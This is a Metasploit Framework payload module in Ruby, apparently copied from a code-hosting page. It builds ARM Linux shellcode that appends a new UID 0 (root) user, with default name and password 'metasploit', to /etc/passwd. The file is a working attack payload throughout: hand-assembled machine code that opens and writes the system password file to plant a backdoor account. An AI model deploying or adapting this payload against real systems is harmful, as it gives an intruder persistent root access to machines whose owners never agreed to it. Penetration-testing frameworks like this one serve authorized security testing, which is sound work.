66 lines
1.8 KiB
Ruby
66 lines
1.8 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
###
|
|
#
|
|
# AddUser
|
|
# -------
|
|
#
|
|
# Adds a UID 0 user to /etc/passwd.
|
|
#
|
|
###
|
|
module Metasploit3
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Linux
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Linux Add User',
|
|
'Description' => 'Create a new user with UID 0',
|
|
'Author' => [ 'Jonathan Salwan' ],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_ARMLE,
|
|
'Privileged' => true))
|
|
|
|
# Register adduser options
|
|
register_options(
|
|
[
|
|
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
|
|
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
|
|
OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
|
|
], self.class)
|
|
end
|
|
|
|
#
|
|
# Dynamically builds the adduser payload based on the user's options.
|
|
#
|
|
def generate_stage
|
|
user = datastore['USER'] || 'metasploit'
|
|
pass = datastore['PASS'] || 'metasploit'
|
|
shell = datastore['SHELL'] || '/bin/sh'
|
|
str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
|
|
strl1 = [ (str.length)+52 ].pack('C*')
|
|
strl2 = [ str.length ].pack('C*')
|
|
pwdir = "/etc/passwd"
|
|
payload =
|
|
"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
|
|
"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
|
|
"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
|
|
"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
|
|
strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
|
|
"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
|
|
str + pwdir
|
|
|
|
end
|
|
|
|
end
|